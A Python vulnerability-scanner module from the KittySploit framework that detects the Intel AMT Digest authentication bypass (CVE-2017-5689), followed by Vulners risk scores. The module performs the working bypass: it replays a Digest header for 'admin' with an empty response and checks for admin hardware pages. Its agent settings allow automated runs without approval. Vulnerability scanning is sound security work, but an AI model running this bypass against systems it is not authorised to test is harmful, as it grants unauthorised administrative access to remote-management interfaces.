Intel AMT - Digest Auth Bypass Detection (CVE-2017-5689)
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Intel AMT/ISM empty Digest response auth bypass (CVE-2017-5689)."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Intel AMT - Digest Auth Bypass Detection (CVE-2017-5689)',
'description': (
'Detects CVE-2017-5689 (INTEL-SA-00075) by replaying Digest Authorization with '
'empty response and checking access to /index.htm hardware info.'
),
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': [
'web', 'scanner', 'cve', 'cve2017', 'intel', 'amt', 'auth-bypass', 'kev', 'vuln',
],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 2,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [{'capability': 'admin_surface', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2017-5689',
'https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00075.html',
],
'cve': 'CVE-2017-5689',
}
def run(self):
path = '/index.htm'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r:
return False
headers = '\n'.join(f'{k}: {v}' for k, v in r.headers.items())
blob = headers + '\n' + (r.text or '')
m = re.search(r'"Digest\.?([^"]*)".*?nonce="([^"]+)"', blob, re.I | re.S)
if not m:
m = re.search(r'realm="Digest:?([^"]*)".*?nonce="([^"]+)"', blob, re.I | re.S)
if not m:
return False
digest, nonce = m.group(1), m.group(2)
cnonce = self.random_text(10)
auth = (
f'Digest username="admin", realm="Digest:{digest}", nonce="{nonce}", '
f'uri="{path}", response="", qop=auth, nc=00000001, cnonce="{cnonce}"'
)
g = self.http_request(
method='GET', path=path, headers={'Authorization': auth}, allow_redirects=False,
)
if not g or g.status_code != 200:
return False
body = g.text or ''
markers = (
'>Hardware Information', '>IP address', '>System ID',
'>System<', '>Processor<', '>Memory<',
)
if any(m in body for m in markers):
self.set_info(
severity='critical',
reason='Intel AMT Digest auth bypass (CVE-2017-5689)',
path=path,
)
return True
return False
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10 Aug 2026 06:19Current
7.6High risk
Vulners AI Score7.6
CVSS 3.19.8
CVSS 210
EPSS0.92189
SSVC